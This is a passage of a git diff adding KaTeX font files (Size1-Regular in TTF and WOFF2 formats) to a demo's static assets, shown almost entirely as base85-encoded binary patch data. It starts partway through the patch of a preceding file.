zW^+V4L`wDv6HcDM8yXaAq{%mzw0BxkUd@>lH?=tiilnyE!y9S_hpO1PO_C{U!)d7K>jFqLzB!bA$}N#T}rhO%WzB$tNZ z5<)69R=jL#DNzk*^quCF8p|1!snW5B3{MXj%b6BL0K?=nfVQ0EsMyZIemipr-y_WN zXY+*I`k~hQ)3$q@)-}-kiMXL{N9XtNPupO4N06MtH8giNtvmKJzWB`()(nhdMiIW$ zcD*j%Gi@GUVe}nY;EyL%wy+`yeJ1>r>AYS&kJ^k-XdYn>(=vxKzWyenfp1ZLJa0BL z{;Dz0?`Yg|TU=C6{1{{&?8z-ZlbJ9_!rl0i#-Vjx63|2dJPTuA1~LU~lx{P5d|#H8 z;QEHldx}q>pWF&(hrg9daL}9;()gl74D!^9`9HUWhOkb*@`l_tt$USC?IrT}S5102iBo!l%tW&a7FX==nDe`5uJQ z+|^eBo#*Io&RNJif2U^93KBQ1nB_W2DT*eD@0=WZ?$yb8LPB_zNyw7N8U$s*hgnV& zLQxj7mgik-IH6`i;CUE*-&oJ*9;kci{zG!GhPFx*bh1UamHPl7?_D*^G5@*zw@Y$C z{yzlw?7EjB@ePPU^cDm`kgWP0`8{4=is|doj^U0$?YO2&T*m^CWKhog=!Bc1FaQ2v5 zv0z*Yg|j&vzz^56;*%W7^@2Ovy0P0kI(=*)n6}V2`la7<$B*n;>qcv*cQut7^em76 zy4$Pyene%)5k6Wbba){>b$0#h_gW*O0)XxdKhfVe(8wwJr*e=loJ$tY_dhq9;@^Mw zYj4E||8_t}laGsB3q@-t1TJWL<`Ad)Q*@id!4CfX5RoZau9F&jBqR=5Lr0ZMp!8^l zn0ZZdW-6>Dsn0FK#k(PP%_JpPZ9{ylDSs8s5y+6ChyNn2oA?^uUNK|zL#9ll${8K; ziu}wImRN*<9w+=CLQTzmk@fuelmU~5W}0CLP@_3GVoh`aB1bx4Y!^BZ9#=b18HMP; z*ox_%_|pznbb|T&%9fiSvl}pIo?%@&bQ&d=p+#ol>u9bZU(Q%)sZq?K%?O9+PZ;J7 z+e8Z&N?CcgPfdj`{#318G>KAB#YCgkk7*^p&peeUQ7Hs98l{p@F_=V1>DggSubA&L z@BuYC62q!$lciLeKe+;8QTLH^x@(w4m86E@$PD;eDkcg`F}jL&P>eZ$KSerf@W zY!uKBNAlrj>iPom9DqSUI})<2_Zvb$j%PVob5S#6SyM9!tt>-7O@$6LFFGa8rk@fQ isFOeq9&M@oI}Pp55h!41eSwD&UH=U4=~t{3ha6jZwt}$$ literal 0 HcmV?d00001 diff --git a/demo/static/dist/assets/KaTeX_Size1-Regular.ttf b/demo/static/dist/assets/KaTeX_Size1-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..871fd7d19d8658f64d8696ed9cdfc82c821ed76d GIT binary patch literal 12228 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 literal 0 HcmV?d00001 diff --git a/demo/static/dist/assets/KaTeX_Size1-Regular.woff2 b/demo/static/dist/assets/KaTeX_Size1-Regular.woff2 new file mode 100644 index 0000000000000000000000000000000000000000..c5a8462fbfe2c39a7c1857b9e296e62500a8a8a5 GIT binary patch literal 5468 zcmV-i6{G5RPew8T0RR9102N#S4gdfE059|a02KrP0RR9100000000000000000000 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 